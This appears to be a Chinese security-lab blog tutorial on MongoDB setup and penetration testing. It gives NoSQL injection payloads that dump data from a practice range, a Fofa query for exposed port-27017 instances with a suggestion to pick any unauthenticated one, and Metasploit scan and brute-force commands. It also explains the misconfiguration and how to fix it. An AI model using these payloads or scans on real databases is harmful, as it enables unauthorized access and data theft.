
破军安全实验室
本文约3400字,阅读约需9分钟。


0x00 前言


0x01 初识MongoDB
MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。
在高负载的情况下,添加更多的节点,可以保证服务器性能。
MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。



0x02 Docker 安装
docker pull mongo:latestdocker run -itd --name mongo -p 27017:27017 mongo --auth 启动-p 27017:27017 :映射容器服务的 27017 端口到宿主机的 27017 端口。外部可以直接通过 宿主机 ip:27017 访问到 mongo 的服务。--auth:需要密码才能访问容器服务。
接着使用以下命令添加用户和设置密码,并且尝试连接。
启动服务:
$ docker exec -it mongo mongo admin
# 创建一个名为 admin,密码为 123456 的用户。
> db.createUser({ user:'admin',pwd:'123456',roles:[ { role:'userAdminAnyDatabase', db: 'admin'},"readWriteAnyDatabase"]});
# 尝试使用上面创建的用户信息进行连接。
> db.auth('admin', '123456')
远程连接:
使用用户名fred,密码foobar登录localhost的baz数据库例子:
mongodb://fred:foobar@localhost/baz


0x03 Windows 平台下安装 MongoDB
下载地址:
https://www.mongodb.com/try/download/community

Mongodb的配置文件:mongodb.cfg
在liunx系统下为mongodb.conf

端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞
net:port: 27017bindIp: 127.0.0.1
添加环境变量:

mongo.exe 启动客户端


0x04 基本使用
show dbs 查看所有数据库

新建用户
db.createUser({user:"wang",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})

对账号授权
db.auth("wang","123456")
远程登录:
mongo -u wang -p 123456 localhost:27017/admin
利用robo3t工具连接

use wang 创建数据库db.dropDatabase() 删除数据库show collection 查看集合db.createCollection("runoob") 创建集合db.collection.drop() 删除集合
插入数据:
db.data.insert({"user":"test"}) data表示的是表名
查询:
db.data.find()
删除
db.data.remove({"user":"test"})
渗透的时候就是枚举admin的用户名密码


0x05 Mongodb渗透
1.默认端口

Fofa搜索语法:
port="27017"
2.注入mongodb实例
这里用墨者一个靶场测试

先了解下mongodb的语法特征
语法:mongodb是以键值对形式进行查询的
db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"})

存储方式:

2.1、进入环境 '引号测试注入点

2.2、查看源码

2.3、构造简单回显点
源码是这样的:
db.notice.findOne({'id':'$id'});return data;
闭合构造paylaod 回显
db.notice.findOne({'id':'1'}); return ({title:1,content:'2'});return data;
得到:
id=1'}); return ({title:1,content:'2http://xx.xx.xx.xx:49117/new_list.php?id=1%27});%20return%20({title:1,content:%272
得到回显点

2.4、查询数据流程
(1)查数据库
tojson(db)id=1'}); return ({title:tojson(db),content:'2

(2)查询所有的集合(表)
需要用tojson转换为字符串,db.getCollectionNames()得到一个数组
tojson(db.getCollectionNames())

(3)查询字段
0代表第一条数据
tojson(db.Authority_confidential.find()[0])

查md5在线网址
https://www.cmd5.com/
mozhe:dsansda
远程连接
mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'49117'
3.未授权访问、暴力破解
漏洞成因:
Mongodb服务安装后,默认未开启权限验证,如果服务监听在0.0.0.0,则可以远程未授权访问数据库
Fofa上随便找个未授权的:

3.0之前的版本MongoDB,默认监听在0.0.0.0,之后的版本默认在127.0.0.1
3.0及之后版本,使用 --auth参数启动后,无账号则本地和远程均无权限访问数据库
部分版本默认不存在admin库,但如果创建了用户管理账号,这个库一定存在,如果存在管理员账号,但未使用--auth参数启动。例如:
use adminswitched to db adminshow users{"_id" : "admin.admin","user" : "admin","db" : "admin","roles" : [{"role" : "userAdminAnyDatabase","db" : "admin"}],"mechanisms" : ["SCRAM-SHA-1","SCRAM-SHA-256"]}
Mongodb的配置文件:mongodb.cfg
在liunx系统下为mongodb.conf

端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞
net:port: 27017bindIp: 0.0.0.0
改为0.0.0.0之后,直接用其他机器未授权连接数据库

增加认证:
db.createUser({ user: 'root', pwd: 'yourPassword', roles: [{ role: 'dbOwner', db: 'test' }] })
用工具暴力破解:

4.MSF渗透Mongodb
未授权
use auxiliary/scanner/mongodb/mongodb_loginset rhosts 192.168.90.0/24set threads 10exploit
爆破
use exploit/linux/misc/mongod_native_helperset password 123456set username testset rhosts 192.168.253.70
自动化工具:
git clone https://github.com/codingo/NoSQLMap.gitpython2 setup.py install
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

破军安全实验室
# 长按二维码 关注我们 #




